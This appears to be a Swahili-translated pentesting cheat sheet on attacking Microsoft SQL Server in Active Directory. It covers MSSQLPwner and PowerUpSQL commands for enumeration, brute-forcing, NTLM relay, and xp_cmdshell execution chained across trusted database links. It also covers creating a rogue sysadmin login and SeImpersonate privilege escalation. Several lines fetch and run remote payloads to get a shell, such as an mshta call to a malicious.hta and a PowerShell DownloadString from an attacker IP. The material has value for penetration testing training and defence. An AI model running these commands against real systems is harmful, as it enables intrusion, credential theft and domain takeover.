MSSQL AD Abuse

Reading time: 9 minutes

MSSQL Enumeration / Discovery

Python

Chombo cha MSSQLPwner kinategemea impacket, na pia kinaruhusu kuthibitisha kwa kutumia tiketi za kerberos, na kushambulia kupitia minyororo ya viungo.

# Interactive mode
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive

# Interactive mode with 2 depth level of impersonations

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -max-impersonation-depth 2 interactive

# Executing custom assembly on the current server with windows authentication and executing hostname command

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname

# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname

# Executing the hostname command using stored procedures on the linked SRV01 server

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname

# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate

# Issuing NTLM relay attack on the SRV01 server

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250

# Issuing NTLM relay attack on the local server with custom command

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250

# Executing direct query

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth direct-query "SELECT CURRENT_USER"

# Retrieving password from the linked server DC01

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password

# Execute code using custom assembly on the linked server DC01

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll

# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt

mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt

mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt

# Bruteforce using tickets against the hosts listed on the hosts.txt

mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt

# Bruteforce using passwords against the hosts listed on the hosts.txt

mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt

# Bruteforce using hashes against the hosts listed on the hosts.txt

mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt

Kuorodhesha kutoka kwenye mtandao bila kikao cha kikoa

# Interactive mode

mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive

Powershell

Moduli ya powershell PowerUpSQL ni muhimu sana katika kesi hii.

Import-Module .\PowerupSQL.psd1

Kuorodhesha kutoka kwenye mtandao bila kikao cha kikoa

# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo

#If you don't have a AD account, you can try to find MSSQL scanning via UDP
#First, you will need a list of hosts to scan
Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads 10

#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them
#The discovered MSSQL servers must be on the file: C:\temp\instances.txt
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test

Kuorodhesha kutoka ndani ya eneo

# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo

#Get info about valid MSQL instances running in domain
#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose

#Test connections with each one
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose

#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

# Get DBs, test connections and get info in oneliner
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo

MSSQL Msingi wa Kutumiwa

Upatikanaji wa DB

#Perform a SQL query
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername"

#Dump an instance (a lotof CVSs generated in current dir)
Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"

# Search keywords in columns trying to access the MSSQL DBs
## This won't use trusted SQL links
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "password" -SampleSize 5 | select instance, database, column, sample | ft -autosize

MSSQL RCE

Inaweza pia kuwa inawezekana kutekeleza amri ndani ya mwenyeji wa MSSQL

Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary

Angalia katika ukurasa ulioelezwa katika sehemu ifuatayo jinsi ya kufanya hivi kwa mikono.

Njia za Msingi za Kudhuru MSSQL

{{#ref}} ../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/ {{#endref}}

Viungo Vilivyoaminika vya MSSQL

Ikiwa mfano wa MSSQL umeaminika (kiungo cha database) na mfano mwingine wa MSSQL. Ikiwa mtumiaji ana mamlaka juu ya database iliyoaminika, ataweza kutumia uhusiano wa kuaminiana kutekeleza maswali pia katika mfano mwingine. Hizi kuaminika zinaweza kuunganishwa na kwa wakati fulani mtumiaji anaweza kupata database iliyo na mipangilio isiyo sahihi ambapo anaweza kutekeleza amri.

Viungo kati ya databases vinatumika hata katika kuaminiana kwa misitu.

Kunyanyaswa kwa Powershell

#Look for MSSQL links of an accessible instance
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0

#Crawl trusted links, starting from the given one (the user being used by the MSSQL instance is also specified)
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Verbose

#If you are sysadmin in some trusted link you can enable xp_cmdshell with:
Get-SQLServerLinkCrawl -instance "<INSTANCE1>" -verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "<INSTANCE2>"'

#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery field
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"

#Obtain a shell
Get-SQLServerLinkCrawl -Instance dcorp-mssql  -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"'

#Check for possible vulnerabilities on an instance where you have access
Invoke-SQLAudit -Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local"

#Try to escalate privileges on an instance
Invoke-SQLEscalatePriv –Verbose –Instance "SQLServer1\Instance1"

#Manual trusted link queery
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select * from openquery(""sql2.domain.io"", 'select * from information_schema.tables')"
## Enable xp_cmdshell and check it
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'SELECT * FROM OPENQUERY("sql2.domain.io", ''SELECT * FROM sys.configurations WHERE name = ''''xp_cmdshell'''''');'
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT [sql.rto.external]'
Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT [sql.rto.external]'
## If you see the results of @@selectname, it worked
Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'

Metasploit

Unaweza kwa urahisi kuangalia viungo vya kuaminika ukitumia metasploit.

#Set username, password, windows auth (if using AD), IP...
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session

Tafadhali kumbuka kwamba metasploit itajaribu kutumia tu kazi ya openquery() katika MSSQL (hivyo, ikiwa huwezi kutekeleza amri na openquery() utahitaji kujaribu njia ya EXECUTE kwa mikono kutekeleza amri, angalia zaidi hapa chini.)

Mikono - Openquery()

Kutoka Linux unaweza kupata shell ya MSSQL console kwa kutumia sqsh na mssqlclient.py.

Kutoka Windows pia unaweza kupata viungo na kutekeleza amri kwa mikono ukitumia MSSQL client kama HeidiSQL

Ingia kwa kutumia uthibitisho wa Windows:

Pata Viungo vya Kuaminika

select * from master..sysservers;
EXEC sp_linkedservers;

Teua maswali katika kiungo kinachoweza kuaminika

Teua maswali kupitia kiungo (mfano: pata viungo zaidi katika mfano mpya unaopatikana):

select * from openquery("dcorp-sql1", 'select * from master..sysservers')

Unaweza kuendelea na mnyororo huu wa viungo vilivyoaminika milele kwa mikono.

# First level RCE
SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')

# Second level RCE
SELECT * FROM OPENQUERY("<computer1>", 'select * from openquery("<computer2>", ''select @@servername; exec xp_cmdshell ''''powershell -enc blah'''''')')

Ikiwa huwezi kufanya vitendo kama exec xp_cmdshell kutoka openquery(), jaribu kutumia njia ya EXECUTE.

Manual - EXECUTE

Unaweza pia kutumia vibaya viungo vinavyoaminika kwa kutumia EXECUTE:

#Create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"

Local Privilege Escalation

Mkasisi wa MSSQL local user kwa kawaida ana aina maalum ya ruhusa inayoitwa SeImpersonatePrivilege. Hii inaruhusu akaunti "kujifanya mteja baada ya uthibitisho".

Mkakati ambao waandishi wengi wamekuja nao ni kulazimisha huduma ya SYSTEM kuthibitisha kwa huduma ya rogue au man-in-the-middle ambayo mshambuliaji anaunda. Huduma hii ya rogue inaweza kujifanya huduma ya SYSTEM wakati inajaribu kuthibitisha.

SweetPotato ina mkusanyiko wa mbinu hizi mbalimbali ambazo zinaweza kutekelezwa kupitia amri ya execute-assembly ya Beacon.